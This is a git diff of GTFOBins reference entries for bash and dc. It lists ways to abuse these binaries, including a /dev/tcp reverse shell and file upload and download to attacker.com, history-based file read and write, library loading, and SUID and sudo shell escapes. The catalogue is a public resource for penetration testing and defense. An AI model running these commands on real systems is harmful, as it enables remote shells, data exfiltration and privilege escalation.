diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md
index 3f06684..967895a 100644
--- a/_gtfobins/bash.md
+++ b/_gtfobins/bash.md
@@ -1,9 +1,67 @@
 ---
 functions:
   shell:
-    - code: dc -e '!/bin/sh'
+    - code: bash
+  reverse-shell:
+    - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
+  file-upload:
+    - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_send
+        bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
+    - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_send
+        bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
+  file-download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_get
+        bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
+            3<>/dev/tcp/$RHOST/$RPORT \
+            | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
+    - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
+      code: |
+        export RHOST=attacker.com
+        export RPORT=12345
+        export LFILE=file_to_get
+        bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
+  file-write:
+    - code: |
+        export LFILE=file_to_write
+        bash -c 'echo DATA > $LFILE'
+    - description: This adds timestamps to the output file.
+      code: |
+        LFILE=file_to_write
+        HISTIGNORE='history *'
+        history -c
+        DATA
+        history -w $LFILE
+  file-read:
+    - description: It trims trailing newlines and it's not binary-safe.
+      code: |
+        export LFILE=file_to_read
+        bash -c 'echo "$(<$LFILE)"'
+    - description: The read file content is surrounded by the current history content.
+      code: |
+        LFILE=file_to_read
+        HISTTIMEFORMAT=$'\r\e[K'
+        history -r $LFILE
+        history
+  library-load:
+    - code: bash -c 'enable -f ./lib.so x'
+  suid:
+    - code: "./bash -p"
   sudo:
-    - code: sudo dc -e '!/bin/sh'
-  limited-suid:
-    - code: ./dc -e '!/bin/sh'
+    - code: sudo bash
 ---
diff --git a/_gtfobins/dc.md b/_gtfobins/dc.md
new file mode 100644
index 0000000..3f06684
--- /dev/null
+++ b/_gtfobins/dc.md
@@ -0,0 +1,9 @@
+---
+functions:
+  shell:
+    - code: dc -e '!/bin/sh'
+  sudo:
+    - code: sudo dc -e '!/bin/sh'
+  limited-suid:
+    - code: ./dc -e '!/bin/sh'
+---